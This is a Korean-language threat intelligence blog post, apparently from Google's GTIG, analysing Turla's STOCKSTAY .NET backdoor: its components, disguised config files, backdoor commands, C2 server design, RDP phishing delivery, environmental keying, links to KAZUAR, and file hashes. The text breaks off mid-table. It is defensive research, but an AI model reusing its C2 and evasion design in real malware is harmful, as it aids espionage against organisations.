콘텐츠로 이동하기
위협 인텔리전스

STOCKSTAY Another Day: Turla의 정보 수집 체계에 추가된 최신 도구

2026년 6월 25일
Google Threat Intelligence Group

Google Threat Intelligence

Visibility and context on the threats that matter most.

Contact Us & Get a Demo

해당 블로그의 원문은 2026년 6월 26일 Google Cloud 블로그(영문)에 게재되었습니다. 


작성자: Jordan Jones


서론

Google 위협 인텔리전스 그룹(GTIG)은 최소 2022년 12월부터 러시아 연계 위협 행위자인 Turla(일명 SUMMIT, Secret Blizzard, VENOMOUS BEAR, UAC-0194)가 지속적으로 개발하고 배포해 온 STOCKSTAY로 추적되는 .NET 백도어에 대한 심층 분석을 수행했습니다. Turla는 이탈리아 외교 정책에 관심이 있는 실체들뿐만 아니라 우크라이나의 정부 및 군사 조직을 대상으로 STOCKSTAY를 배포해 왔습니다. 지속적인 사이버 스파이 활동에 사용되는 이 백도어는 이전에 Turla의 소행으로 파악된 성공적인 툴킷인 KAZUAR과 상당한 코드 및 기능적 중복을 공유합니다. 이 그룹은 정치적 긴장이 고조된 상황에서 서구의 외무부와 국방 조직에 특히 중점을 두고 광범위한 산업 분야를 표적으로 삼아온 오랜 역사를 가지고 있습니다.

Turla, 특히 그들의 오래된 Snake 임플란트는 미국 사이버보안 및 인프라 보안국(CISA)에 의해 러시아 연방보안국(FSB)의 Center 16 소행으로 공개적으로 규명되었습니다. Turla는 의심되는 활동이 최소 2004년까지 거슬러 올라가는 가장 오래된 것으로 알려진 사이버 스파이 그룹 중 하나입니다. 이 행위자는 Signal 메신저 사용자로부터 안전한 통신을 가로채기 위한 전문화된 스크립트 배포, 우크라이나 조직을 표적으로 삼기 위한 레거시 범죄 봇넷 하이재킹, 그리고 매우 정교한 KAZUAR 툴킷을 사용하여 군사 국방 분야를 표적으로 삼은 최근 캠페인에서 알 수 있듯이, 여전히 활발히 활동하고 있으며 전달 방법을 계속 진화시키고 있습니다. 이 그룹에 대한 지속적인 추적의 일환으로, 이 블로그 포스트는 우리의 STOCKSTAY 분석에 대한 개요를 제공하고, 주요 개발 및 운영 관찰 사항의 타임라인을 포함하며, KAZUAR과의 유사성을 조사하여 Turla의 끊임없이 확장되는 무기고 내에서 이 새로운 기능의 맥락을 설명합니다.

STOCKSTAY 개요

STOCKSTAY는 Windows Forms 프레임워크를 사용하는 .NET으로 작성된 다중 구성 요소 백도어로, 오픈 소스 websocket-sharp 라이브러리를 활용하여 안전한 WebSocket 연결을 통해 명령 및 제어(C2)와 통신합니다. STOCKSTAY는 WM_COPYDATA 메시지 교환을 기반으로 하는 프로세스 간 통신(IPC) 채널을 통해 서로 통신하는 여러 개의 고유한 구성 요소로 구성됩니다.

STOCKSTAY는 원래 주식 시장 데이터 보기 도구로 위장하도록 설계되었으며, 이 위장은 파일 명명 체계와 임플란트 환경 설정, 제어 메시지 및 응답 데이터 저장소 모두에 반영되었습니다. GTIG가 관찰한 이 악성코드의 초기 버전은 이러한 위장의 내부적인 측면을 유지하고 있었지만, 2025년에 우리는 PDF 뷰어 및 계산기 유틸리티와 같은 다른 무해한 애플리케이션으로 위장한 STOCKSTAY 변종을 식별했습니다.

https://storage.googleapis.com/gweb-cloudblog-publish/images/stockstay-fig1.max-2100x2100.png

그림 1: STOCKSTAY 악성코드 아키텍처 개요

STOCKSTAY.STOCKBROKER

STOCKSTAY.STOCKBROKER는 더 넓은 STOCKSTAY 에코시스템에 네트워크 통신 기능을 제공하는 프록시 인식 터널러입니다. 내부적으로 "net"으로 지칭되는 STOCKSTAY.STOCKBROKER는 지정된 원격 서버로 보안 WebSocket 연결을 수립하도록 명령을 받을 수 있으며, 그 후 서버와 STOCKSTAY.STOCKMARKET 오케스트레이터 간의 릴레이 역할을 수행합니다. 그 결과, STOCKSTAY와 구성된 C2 서버 간의 모든 C2 통신은 STOCKSTAY.STOCKBROKER에 의해 처리되며, 감염된 기기 내의 다른 호스트 기반 악성 활동으로부터 악성코드의 네트워크 통신을 격리합니다.

STOCKSTAY.STOCKMARKET

내부적으로 “cor”로 지칭되는 STOCKSTAY.STOCKMARKET는 STOCKSTAY 에코시스템의 오케스트레이터이며, 임플란트의 구성을 가능하게 합니다. 악성코드의 구성 정보는 디스크 상의 암호화된 환경 설정 파일로부터 로드되며, 이 파일은 STOCKSTAY.STOCKBROKER가 요구하는 원격 WebSocket 서버의 상세 정보를 포함하여 악성코드 실행에 관한 여러 옵션을 정의합니다. 이 환경 설정 파일은 각 설정 필드에 대한 위조된 설명(그림 2)뿐만 아니라 암호화폐 시장과 관련된 다양한 정상 URL을 포함하여 스스로를 정상 파일로 위장하려고 시도합니다. 암호화된 구성 데이터는 디코이(decoy) 필드 내에 삽입되어 있으며, 이는 STOCKSTAY.STOCKMARKET에 의해 복호화됩니다.

{
  "Name": "StockMarket",
  "Description": "An application for getting information about current events on trading platforms. To set the time for updating information, enter a value in minutes in the `Interval` field. In the future, support for themes will be added. The `SystemConfiguration` field stores the system settings of the application. In the `services` field, fill in the list of addresses of services that provide the `WebSocket protocol`.",
  "Theme": "Dark",
  "SystemConfiguration": [
    "1D.AA.79.9F.45.AA.04.B3.<snipped>.68.0A.5D.A3.E6.A3.82.FA",
    "6F.41.4D.6D.C3.20.E5.32.<snipped>.00.B8.26.DF.E1.13.0A.21",
    "4.4.3.12"
  ],
  "Interval": 10,
  "Services": [
    "wss://ws-api.binance.com:443/ws-api/v3",
    "wss://ws-feed.exchange.coinbase.com",
    "wss://ws-feed-public.sandbox.exchange.coinbase.com",
    "wss://stream.bybit.com/v5/public/spot",
    "wss://stream.bybit.com/v5/public/linear"
  ],
  "Version": "2022-12-21"
}

그림 2: 스스로를 거래 정보용 애플리케이션으로 허위 기술하여 위장한 암호화된 STOCKSTAY 환경 설정 파일 포맷

{
  "internal_id": "<server_identifier>",
  "internal_key": "<server_public_key>",
  "interval_engine": "600000",
  "level_info": "0",
  "time_scale": "1",
  "span_min": "9",
  "span_max": "18",
  "rate": "2700",
  "rate_control": "false",
  "service": "<websocket_c2_url>",
  "days_not_work": "Saturday;Sunday;",
  "system_properties": "eyJzeXN0ZW1fZGF0YV9zaXplIjoiNDAwMDAwIn0="
}

그림 3: 복호화된 STOCKSTAY 환경 설정 파일 포맷

STOCKSTAY.STOCKMARKET는 WebSocket 서버의 상세 정보를 제공하고, 이후 수립된 WebSocket 연결을 통해 일반적으로 실행된 명령어의 결과를 포함하는 메시지를 송수신하기 위해 STOCKSTAY.STOCKBROKER와 통신합니다. 또한, STOCKSTAY.STOCKMARKET는 감염된 호스트에서 실행할 명령을 내리기 위해 STOCKSTAY.STOCKTRADER 구성 요소와 통신합니다.

최초 실행 시, STOCKSTAY.STOCKMARKET는 WebSocket을 통해 송신하기 전에 아웃바운드 데이터를 암호화하기 위해 임플란트 수명 주기 전반에 걸쳐 사용될 고유한 4096비트 RSA 키 쌍을 생성합니다. 임플란트의 공개 키는 서버가 작업 응답을 복호화할 수 있도록 악성코드의 첫 번째 요청에 포함되어 서버로 전송됩니다. STOCKSTAY.STOCKMARKET는 또한 C2 서버가 할당된 작업의 대상 수신처를 결정하는 데 사용할 고유한 감염 식별자(infection identifier)를 생성합니다. STOCKSTAY의 환경 설정 파일은 “internal_id” 필드를 지정하며, GTIG는 이것이 악성코드 에코시스템의 서버 측 구성 요소를 가리키는 식별자라고 분석합니다. 우리는 이 식별자가 여러 운영자가 공유하여 사용할 수 있는 임시 C2 서버로부터 응답을 회수하기 위해 악성코드 운영자들에 의해 사용된다고 분석합니다. 현재까지 GTIG는 이 식별자에 대해 단 하나의 고유한 값만을 관찰했으며, 원격 측정 데이터의 부족으로 인해 현재 여러 운영자가 STOCKSTAY를 활용하고 있는지 여부는 판단할 수 없습니다.

STOCKSTAY.STOCKTRADER

STOCKSTAY.STOCKTRADER(내부적으로 “sys”로 지칭됨)는 STOCKSTAY 에코시스템의 백도어 구성 요소로, 표 1에 상세히 기술된 바와 같이 감염된 호스트에서 다양한 레지스트리, 파일 및 명령어 실행 작업을 지원합니다.

작업 명령어 이름

설명

Del

지정된 파일을 삭제합니다.

세미콜론으로 구분된 파일 경로 목록이 필요하며, 각 경로의 파일이 삭제됩니다. 삭제된 각 파일에 대한 확인 또는 삭제 실패 여부가 C2로 반환됩니다.

Dir

지정된 디렉터리의 목록을 생성합니다.

세미콜론으로 구분된 디렉터리 경로 목록이 필요하며, 각 디렉터리에 포함된 모든 파일 및 하위 디렉터리의 경로가 열거되어 C2로 반환됩니다.

옵션에 따라 디렉터리 목록을 재귀적으로 생성할 수 있습니다.

Get

지정된 하나 이상의 파일을 가져옵니다. 특정 확장자를 가진 파일을 수집할 수 있습니다.

세미콜론으로 구분된 파일 또는 디렉터리 경로 목록과 대상 파일 확장자 목록이 필요합니다. 목록에 파일 경로가 포함되어 있으면 해당 파일이 반환됩니다. 대신 목록에 디렉터리 경로가 포함되어 있으면, 악성코드는 옵션에 따라 해당 디렉터리를 재귀적으로 검색하여 대상 파일 확장자와 일치하는 파일을 식별합니다.

지정된 파일 경로 또는 대상 파일 확장자와 일치하는 모든 파일은 메모리 내 ZIP 아카이브에 추가된 후, C2로 전송하기 위해 base64로 인코딩됩니다.

Image

피해자의 화면을 캡처합니다.

결과 이미지는 C2로 전송하기 위해 base64로 인코딩됩니다.

MkDir

하나 이상의 디렉터리를 생성합니다.

세미콜론으로 구분된 디렉터리 경로 목록이 필요하며, 각 경로의 디렉터리가 생성됩니다. 생성된 각 디렉터리에 대한 확인 또는 결과 오류가 C2로 반환됩니다.

MultyTask

동시에 여러 작업을 처리합니다.

세미콜론으로 구분된 작업 목록이 필요하며, 각 작업은 개별 작업을 포함하는 직렬화된 JSON 객체여야 합니다.

각 작업은 악성코드의 명령어 관리자(command-manager)에 차례로 제출되며, 모든 명령어 출력은 무시됩니다. 동시에 여러 작업을 처리할 때는 C2로 데이터가 반환되지 않습니다.

Put

장치에 파일을 업로드합니다.

지정된 파일 경로에 기록할 파일 콘텐츠의 base64 인코딩된 문자열 표현이 필요합니다. 필수 파일 쓰기 작업은 "추가(Append)" 모드로 수행됩니다.

파일 업로드 확인 또는 관련 오류의 상세 정보가 C2로 반환됩니다.

RegDelete

레지스트리 값을 삭제합니다.

삭제할 레지스트리 키와 그에 해당하는 값의 이름이 필요합니다.

RegRead

레지스트리 값을 읽습니다.

읽을 레지스트리 키와 그에 해당하는 값의 이름이 필요합니다.

RegWrite

레지스트리 값을 설정합니다.

레지스트리 키와 해당하는 값의 이름뿐만 아니라, 레지스트리 값을 채우는 데 사용할 값과 데이터 유형이 필요합니다.

RmDir

지정된 디렉터리를 삭제합니다.

세미콜론으로 구분된 디렉터리 경로 목록이 필요하며, 각 경로의 디렉터리가 삭제됩니다. 삭제된 각 디렉터리에 대한 확인 또는 삭제 실패 여부가 C2로 반환됩니다.

Run

새 프로세스를 실행합니다.

실행할 파일의 경로와 그에 해당하는 인수가 필요합니다. 기본 제한 시간 60초가 악성코드에 하드코딩되어 있으나, 이는 작업 구성 정보에 의해 재정의될 수 있습니다.

모든 하위 프로세스는 창 없이(windowless) 생성되며 표준 출력(stdout)이 리디렉션됩니다.

Sysinfo

시스템 조사를 실시하여 감염된 호스트에 대한 주요 정보를 수집합니다.

운영체제 정보는 Windows Management Instrumentation(WMI) ManagementObjectSearcher를 통해 수집되며, 구체적으로 다음 필드들이 포함됩니다.

  • OSVersion

  • Architecture

  • SerialNumber

  • CodeSet

  • CountryCode

  • Locale

  • InstallDate

  • BootupTime

  • MachineName

  • SystemDirectory

  • LocalTime

  • AnsiCodePage

  • UserName

하드웨어와 관련하여 WMI에 쿼리하는 항목은 다음과 같습니다.

  • ProcessorName

  • NumberCores

  • ClockSpeed

  • MemoryCapacity

  • MemoryType

  • DiskModel 

  • DiskSize

악성코드는 가동 중인 프로세스 이름 목록도 캡처합니다.

UnpackArchive

지정된 ZIP 파일을 현재 디렉터리에 압축 해제합니다.

표 1: STOCKSTAY.STOCKTRADER가 지원하는 백도어 명령어

관련 다운로더 및 인스톨러

STOCKSTAY.MARKETMAKER

STOCKSTAY.MARKETMAKER는 Windows Forms 프레임워크를 사용하는 .NET으로 작성된 프록시 인식 다운로더로, 원격 서버에서 추가 페이로드를 다운로드하고 압축 해제하며, Windows 레지스트리 수정을 통해 지속성을 유지하고, 사용자 인터페이스 없이 백그라운드에서 자동으로 실행됩니다. 이 다운로더는 STOCKSTAY의 핵심 구성 요소를 실행하기 위해 여러 자동 실행 항목을 설정하는 동안 정상 파일로 보이기 위해 "MicrosoftUpdateOneDrive"로 위장하는 것이 관찰되었습니다.

.NET AppDomainManager

분석 중에 GTIG는 필수 구성 요소를 다운로드하는 대신 대상 호스트에 샘플을 초기 배포하기 위해 외부 메커니즘(.NET AppDomainManager 주입 등)에 의존하는 STOCKSTAY.MARKETMAKER의 초기 개발 샘플로 판단되는 것을 식별했습니다.

STOCKSTAY Server-Side Controller

GTIG는 피해자 방향의 STOCKSTAY WebSocket 서버 컨트롤러의 Python 구현이 포함된 공개적으로 접근 가능한 GitHub 저장소를 식별했습니다. 서버 구성 요소의 경량화된 설계는 WebSockets를 포함한 웹 서비스 호스팅 플랫폼을 제공하는 Render 플랫폼과 같은 서드파티 호스팅 플랫폼의 위협 행위자 사용을 보완하는 것으로 보입니다. 서버가 인바운드 메시지를 복호화할 수 없기 때문에 플랫폼 운영자의 분석을 방지하고, 위협 행위자의 전용 인프라 위치를 추가로 난독화합니다. 이 아키텍처는 Turla의 다중 홉 KAZUAR C2 인프라와 다소 유사합니다.

https://storage.googleapis.com/gweb-cloudblog-publish/images/stockstay-fig4.max-2100x2100.png

그림 4: STOCKSTAY C2 인프라 개요

서버는 tornado.websocket.WebSocketHandler를 확장하여 표 2에 설명된 인터페이스를 /ws 경로 하에 제공하며, 이는 관찰된 모든 STOCKSTAY WebSocket C2 URL과 일치합니다.

이벤트

설명

WebSocketHandler.check_origin

모든 교차 출처(cross-origin) 트래픽을 허용하기 위해 True를 반환하도록 하드코딩되어 있습니다.

WebSocketHandler.open

다음 문자열 형식을 사용하여 클라이언트의 IP 주소를 로깅합니다.

WebSocket open. IP: {client_ip}

WebSocketHandler.on_message

연결된 클라이언트로부터의 인바운드 메시지를 처리합니다.

인바운드 메시지는 내부적으로 "패키지(package)"로 알려진 객체로 JSON 파싱되기 전에 base64로 디코딩됩니다.

각 "패키지"는 각각 요청의 유형과 관련 데이터를 제공하는 "작업(action)"과 "컨테이너(container)"를 포함합니다. 다음은 각 작업 유형의 처리 로직을 설명합니다.

Action: send

서버는 인바운드 메시지의 "컨테이너"에서 다음 속성을 추출하여 로컬 weather_data 데이터베이스 테이블의 새 행에 삽입합니다.

container.target

  • STOCKSTAY 클라이언트는 환경 설정 파일의 internal_id 또는 i_id 필드로 이 필드를 채웁니다.

container.sender

  • STOCKSTAY 클라이언트는 최초 실행 시 생성된 고유한 클라이언트 uuid로 이 필드를 채웁니다.

container.message

  • 이 필드에는 STOCKSTAY 클라이언트 내부에서 "CryptoContainer"로 지칭되는 형식의 암호화된 메시지 본문이 포함되어 있습니다.

완료 시 서버는 다음 메시지를 로깅합니다.

Action: send; trgt={target_id}; sndr={sender_id}

Action: recv

인바운드 recv 요청은 단순히 클라이언트의 고유 식별자에 해당하는 container.sender 속성을 지정합니다.

그 후 서버는 대상 식별자("degrees" 열)가 지정된 container.sender와 일치하는 weather_data 데이터베이스 테이블의 모든 메시지를 검색합니다. 이는 상위 C2 컨트롤러에 의해 서버로 전송된 메시지와 같이 클라이언트에 전달될 모든 메시지를 클라이언트가 검색할 수 있도록 하는 효과가 있습니다.

일치하는 각 행은 데이터베이스에서 삭제되기 전에 다음 형식으로 클라이언트에 반환됩니다.

{
	"target": degrees,
	"sender": pressure,
	"message": wdata,
	"ip": coords,
	"time": datetime
}

완료 시 서버는 다음 메시지를 로깅합니다.

Action: recv; sndr={sender}

WebSocketHandler.on_close

다음 문자열 형식을 사용하여 클라이언트의 IP 주소를 로깅합니다.

WebSocket close. IP: {client_ip}

표 2: STOCKSTAY WebSocket 서버 인터페이스 개요

데이터베이스 구조

서버는 표 3과 4에 표시된 구조로 weather_data1.db라는 파일 이름의 로컬 SQLite3 데이터베이스를 유지합니다.

설명

id

기본 키

degrees

container.target에서 추출한 수신자의 UUID

pressure

container.sender에서 추출한 송신자의 UUID

wdata

container.message에서 추출한 메시지 데이터

coords

X-Forwarded-For 헤더에서 추출한 송신자의 IP 주소, 또는 송신자가 지정되지 않은 경우 none_ip

status

기본값은 0 - 사용되거나 클라이언트에 반환되지 않는 것으로 보임

datetime

행 생성 시간

표 3: weather_data 데이터베이스 테이블 구조

설명

id

기본 키

data

로그 메시지

datetime

생성 시간

표 4: log 데이터베이스 테이블 구조

주요 운영 특징

학술 또는 외교적 위장 콘텐츠의 일관된 사용

STOCKSTAY 작전에 관여된 위협 행위자들은 자신들의 인프라 및 유인/위장 콘텐츠에 학술 및 외교 분야를 결합하는 것을 선호하는 경향이 있으며, 여기에는 다음 사항들이 포함됩니다:

  • 피싱 이메일을 유포하기 위해 우크라이나 대학에 속한 이메일 계정 해킹

  • 악성 RDP 파일의 파일 이름 내에 학술 기관의 이름 사용

  • 피싱 및 악성 RDP 파일 배포를 위해 해킹된 외교 주제의 교육 플랫폼 악용

  • 등록된 피싱 도메인 내에서 “education” 및 “diplo” 사용

  • STOCKSTAY MSI 파일 내에서 제품 이름으로 “DiplomacyEduAI” 사용

지속적인 우크라이나 표적 공격 

GTIG가 관찰한 STOCKSTAY 작전의 상당 부분은 두 국가 간에 진행 중인 갈등과 관련된 러시아의 이익과 일치하게 우크라이나 내부의 정부 또는 군사 조직을 표적으로 삼았습니다. 위협 행위자는 이러한 작전을 지원하기 위해 해킹된 정부 서비스를 포함하여 우크라이나 내부의 해킹된 인프라를 활용하여 STOCKSTAY와 다양한 추가 페이로드를 모두 배포하는 것이 관찰되었습니다.

유럽 표적 공격 의심

GTIG가 관찰한 소수의 STOCKSTAY 작전은 유럽 단체를 표적으로 삼은 것으로 보음입니다. 이탈리아, 네덜란드, 폴란드, 독일을 포함한 다양한 유럽 국가에서 STOCKSTAY의 초기 개발 샘플이 식별되었으나, 우리는 이러한 초기 감염의 대부분에 대해 의도된 피해자를 확인하지 못했으며, 이러한 샘플이 위협 행위자가 VirusTotal과 같이 공개적으로 사용 가능한 바이러스 검사 서비스를 상대로 자신들의 기능을 테스트한 결과로 식별되었는지 여부도 대체로 확인하지 못했습니다. GTIG는 최소 한 건의 사례에서 피싱 및 의심되는 STOCKSTAY 활동과 관련하여 유럽의 외무부와 관련이 있거나 이에 관심이 있는 단체를 표적으로 삼았음을 식별할 수 있었습니다.

악성 RDP 파일을 통한 배포 

GTIG는 악성 RDP 환경 설정 파일을 사용한 피싱 공격이 성공한 후 STOCKSTAY가 배포되는 것을 관찰했습니다. 이 RDP 파일은 피해자의 기기에서 공격자가 통제하는 인프라로의 연결을 생성하도록 설계되었으며, 이를 통해 공격자는 이후의 페이로드를 배포할 수 있었습니다.

2025년 초의 한 작전에서 GTIG는 국방 관련 훈련 아카데미에서 발송된 것이라고 주장하며 악성 RDP 파일 첨부를 포함한 피싱 이메일을 식별했습니다. 피해자가 공격자의 인프라에 연결된 후 짧은 시간 내에, 공격자는 피해자의 기기에 전체 STOCKSTAY 제품군을 가져와 설치하도록 설계된 .NET 다운로더인 STOCKSTAY.MARKETMAKER를 배포했습니다.

이후 2025년 중반에 GTIG는 해킹된 외교 주제의 교육 플랫폼에서 이와 유사한 악성 RDP 파일이 호스팅되는 것을 식별했으며, 온라인 교육 포털에 접속할 수 있도록 한다는 구실 하에 피해자가 파일을 다운로드하고 실행하도록 유도했습니다. GTIG는 이 작전의 결과로 궁극적으로 STOCKSTAY가 배포되었는지 여부는 확인할 수 없었으나, 두 작전 모두에서 공격자의 인프라 및 교육 주제의 위장이 중복된다는 점은 STOCKSTAY가 의도된 페이로드였음을 시사할 수 있습니다.

작전의 여러 단계에서의 배포

GTIG의 가시성을 통해, 우리는 위협 행위자가 작전의 여러 고유한 단계에서 STOCKSTAY를 사용함을 식별했습니다.

첫 번째 사례로, 위협 행위자는 그룹의 정찰 활동이 아직 진행되지 않은 환경에 최초 침투하기 위해 작전 중에 STOCKSTAY를 사용합니다. 이러한 경우 STOCKSTAY는 하드코딩된 환경 설정 패스워드로 구성되어 있어 분석가가 손쉽게 추출할 수 있습니다. 우리는 이러한 유형의 감염이 그룹의 피싱 작전에서 비롯된 것을 관찰했으며, 여기서 위협 행위자는 피해자의 네트워크 내에서 자신들이 정확히 어느 위치에서 최초 발판을 확보할지 판단할 수 없습니다.

정찰 이후의 작전 후기 단계에서 위협 행위자가 STOCKSTAY를 배포할 때, STOCKSTAY는 환경 설정을 위해 환경 키잉(environmental keying)을 포함하도록 구성되어 악성코드가 특정 호스트, 특정 사용자, 특정 도메인 내 또는 이러한 속성들의 사전에 결정된 조합 중 하나에서 실행되어야 하도록 요구합니다. 이러한 구성은 이 단계에서 공격자가 대상 환경에 대한 기존 접속 권한을 통해 표적이 되는 정확한 장비를 알고 있음을 의미합니다. 이는 이전에 KAZUAR 등 그룹의 다른 도구에 크게 의존했던 작전의 끝 무렵에 우크라이나 네트워크 내부에서 STOCKSTAY가 배포된 상황에서 나타났습니다.

KAZUAR과의 중복점

K1MORPHER 문자열 난독화

2025년 4월, GTIG는 Game Developers Conference 2017에서 발표된 "Squirrel3"라는 무명의 유사 난독화 유사 무작위 수 생성 알고리즘에 기반한 새로운 문자열 난독화 메커니즘을 구현하도록 STOCKSTAY가 업데이트된 것을 관찰했습니다.

GTIG는 나중에 STOCKSTAY 버전 중 일부에서 원래의 클래스 이름을 여전히 포함하고 있는 것을 식별했으며, 이를 통해 런타임 문자열 복호화를 담당하는 코드가 "K1.Morpher"라는 이름의 클래스 내에 포함되어 있음을 확인했습니다. K1_MORPH_ER(K1MORPHER) 분석 결과 문자열, 정수, 배열 등 다양한 데이터 유형에 대한 런타임 역난독화를 수행하는 능력이 있음이 밝혀졌습니다.

2025년 6월, GTIG는 KAZUAR 샘플에서 K1_MORPH_ER 코드가 나타나는 것을 포착했습니다. KAZUAR은 역사적으로 탐지를 우회하기 위해 정크 코드 삽입, 정적 상수 값을 XOR 연산 결과로 대체, 대량의 고유 문자 치환 테이블 사용 등 자체적인 단순하지만 효과적인 코드 및 문자열 난독화 기술을 사용해 왔습니다. 위협 행위자가 STOCKSTAY 내에서 K1_MORPH_ER를 사용하는 것은 2024년 4월 해킹된 키프러스 웹사이트에서 호스팅된 STOCKSTAY의 의심되는 테스트 빌드에서 관찰된 바와 같이, 난독화가 여러 고유 클래스에 의해 처리되는 KAZUAR의 다중 클래스 난독화 기술을 모방하는 경향을 보이는 것으로 판단됩니다.

임플란트 아키텍처

최소 2024년부터 KAZUAR은 C2 통신, 작업 오케스트레이션 및 작업 실행이 별도의 구성 요소에 의해 관리되는 다중 구성 요소 아키텍처를 사용하여 배포되는 것이 관찰되었습니다. KAZUAR 에코시스템 내에서 이러한 구성 요소는 각각 "BRIDGE", "KERNEL", "WORKER"로 지칭됩니다.

2023년 말 기준, GTIG는 STOCKSTAY 에코시스템 내에서 동일한 역할들이 개별 구성 요소로 분리되어 있는 유사한 역할 분담을 식별했습니다. C2 통신은 GTIG가 STOCKSTAY.STOCKBROKER로 추적하는 구성 요소에 의해 관리되는 반면, 작업 오케스트레이션 및 실행은 각각 STOCKSTAY.STOCKMARKET 및 STOCKSTAY.STOCKTRADER에 의해 처리됩니다.

환경 키잉

KAZUAR과 STOCKSTAY 에코시스템 모두 탐지 및 분석으로부터 스스로를 보호하기 위해 환경 키잉(environmental keying)을 사용하는 것이 관찰되었습니다.

실행 체인에서 종종 KAZUAR보다 먼저 배포되는 다운로더인 DIAMONDBACK은 대상 환경 외부에서 자신의 의도가 노출되는 것을 방지하기 위해 페이로드를 복호화하는 과정에서 대상의 호스트 이름 해시를 활용해 왔습니다. 최신 버전의 DIAMONDBACK은 페이로드를 복호화하는 데 필요한 해시에 대상의 사용자 이름과 도메인 이름을 포함하도록 구성할 수 있습니다.

STOCKSTAY는 환경 설정 데이터를 복호화하는 동안 대상의 호스트 이름 또는 도메인 이름 해시를 사용하여 의도된 환경에서 가동되지 않는 한 C2 인프라 정보가 노출되는 것을 방지하는 것이 관찰되었습니다.

중복점 요약

GTIG는 중간 신뢰도로 STOCKSTAY와 KAZUAR이 공통 개발자 또는 개발 팀에 의해 부분적으로 개발될 수 있으며, 두 악성코드 에코시스템 간에 활발한 개발이 병행하여 진행되고 있다고 분석합니다. 우리는 STOCKSTAY가 KAZUAR의 설계를 모방하여 개발되고 있으며, 이 오래된 툴킷을 사용하여 작전을 수행한 위협 행위자의 풍부한 경험에서 비롯된 여러 설계 결정들이 반영된 것으로 판단합니다. 두 에코시스템 모두 .NET 개발에 크게 의존하며, 작전의 다양한 단계에서 해킹된 워드프레스(WordPress) 사이트를 사용하는 것이 관찰되었습니다.

우리는 실제 작전 중에 STOCKSTAY가 KAZUAR과 함께 배포되는 것에 대한 관찰 결과가, 위협 행위자가 특히 가까운 미래에 자사 기존 권한이 회수(Remediation)될 것으로 예상하는 상황에서 실제 작전 환경을 통해 새로운 기능을 테스트하려는 시도의 결과일 수 있다는 점을 낮은 신뢰도로 분석합니다.

STOCKSTAY 타임라인

GTIG는 최소 2022년 12월까지 거슬러 올라가는 의심스러운 개발 활동을 식별하면서 STOCKSTAY의 이력에 대한 철저한 조사를 진행했습니다. 다음은 STOCKSTAY의 개발 및 배포를 둘러싼 일련의 사건 타임라인에 대한 우리의 평가입니다. 이 블로그 포스트에 기술된 활동을 헌팅하고 식별하는 데 더 넓은 커뮤니티를 지원하기 위해, 우리는 관찰된 각 작전 섹션 내부와 등록된 사용자를 위한 GTI 컬렉션(GTI Collection)에 침해 지표(IOC)를 포함해 두었습니다.

https://storage.googleapis.com/gweb-cloudblog-publish/images/stockstay-fig5.max-2100x2100.png

그림 5: STOCKSTAY 관찰 타임라인

2022년 12월

STOCKSTAY를 포함하는 MSI 파일 및 ZIP 아카이브의 타임스탬프 정보에 따르면, 관찰된 대다수의 STOCKSTAY.STOCKBROKER 샘플에 번들로 제공되는 오픈 소스 websocket-sharp.dll의 버전이 마지막으로 수정되었습니다 [1]. 비록 오픈 소스 라이브러리를 기반으로 구축되었으나, 이 특정 인스턴스는 행위자가 직접 컴파일한 것으로 보이며, 이에 따라 이 악성코드의 지속적인 개발을 추적할 수 있는 고유하게 식별 가능한 아티팩트가 생성되었습니다.

파일명

설명

SHA-256

websocket-sharp.dll

위협 행위자가 사용한 오픈 소스 라이브러리 인스턴스

d1e54270433a94aa3d45d888e4c62299bee3480eb2cb4a5489c7dda69d476c3e

표 5: 파일 지표

2023년 9월 21일: 독일

독일에서 “DriversPrinterGraphic.rar”라는 파일 이름으로 초기 버전의 STOCKSTAY가 VirusTotal에 업로드되었습니다. 아카이브의 타임스탬프로 볼 때, 이 샘플은 생성된 지 20분 이내에 제출된 것으로 보이며, 이는 악성코드 개발자가 직접 제출했음을 나타낼 가능성이 높습니다.

이 버전은 악성코드가 고유한 역할 기반 구성 요소로 분리되기 전의 버전으로, 대신 모든 핵심 기능을 단일 실행 파일인 StockMarketNews.exe에 통합하고 있었습니다 [1]. 또한, 이 버전의 STOCKSTAY는 주식 시장 유틸리티로 가장하면서도 환경 설정 옵션 및 명령 메시지를 조회/편집할 수 있는 그림 6에 표시된 사용자 인터페이스를 포함하고 있었습니다.

https://storage.googleapis.com/gweb-cloudblog-publish/images/stockstay-fig6.max-700x700.png

그림 6: 초기 STOCKSTAY 사용자 인터페이스

이 특정 STOCKSTAY 샘플은 약간 다른 환경 설정 파일 포맷을 사용하지만, 기본적인 환경 설정 옵션은 이후 버전과 일치합니다. 이 샘플은 또한 환경 설정 파일을 위해 환경 키잉을 활용하며, 의도된 대상의 소문자 호스트 이름을 복호화 패스워드로 사용합니다. GTIG는 현재 이 패스워드를 복구하지 못했습니다.

파일명

설명

SHA-256

DriversPrinterGraphic.rar

STOCKSTAY를 포함하는 RAR 아카이브

e6d8192960a89d5480868b94088cccdaa1560f9c8a0b0282ced2b7c1f72341b6

StockMarketNews.exe

STOCKSTAY 통합 실행 파일

1fc23ec18a94a599a34c74ef5f49a1e27acd37a07d5846661702b5e7e81a6a24

sample.conf

STOCKSTAY 환경 설정 파일

1a2ca8b8e0344fe3d80da7352206a470245443e2349a237bc093df934ddc011f

표 6: 파일 지표

2023년 12월 5일 ~ 6일: 네덜란드

네덜란드에서 2023-12-06 08:52:49에 “apps_libwallets_v1.3.rar”라는 파일 이름으로 STOCKSTAY를 포함하는 추가 RAR 아카이브가 VirusTotal에 제출되었습니다 [1]. 이 아카이브는 전날인 2023-12-05 16:47:42에 마지막으로 수정되었습니다. 이러한 패턴은 해당 개인이 근무 일과가 끝날 때 아카이브를 생성한 다음, 이튿날 사무실로 복귀했을 때 이를 제출했음을 나타낼 수 있습니다.

이 STOCKSTAY 인스턴스는 GTIG가 관찰한 사례 중 표 7에 표시된 파일 이름을 사용하여 악성코드의 핵심 기능이 고유한 역할 기반 구성 요소로 분리된 첫 번째 사례였습니다.

구성 요소

파일명

STOCKSTAY.STOCKMARKET

StockMarketView.exe

STOCKSTAY.STOCKBROKER

StockMarketNet.exe

STOCKSTAY.STOCKTRADER

StockMarketSystem.exe

표 7: 2023년 12월에 관찰된 STOCKSTAY 구성 요소 파일명

이전 2023년 9월에 관찰된 샘플과 유사하게, 이 STOCKSTAY 인스턴스 역시 환경 키잉을 사용했으나, 이 인스턴스는 대상 컴퓨터의 도메인 이름을 환경 설정 패스워드로 사용했습니다. GTIG는 현재 이 패스워드를 복구하지 못했습니다.

파일명

설명

SHA-256

apps_libwallets_v1.3.rar

STOCKSTAY 구성 요소를 포함하는 RAR 아카이브

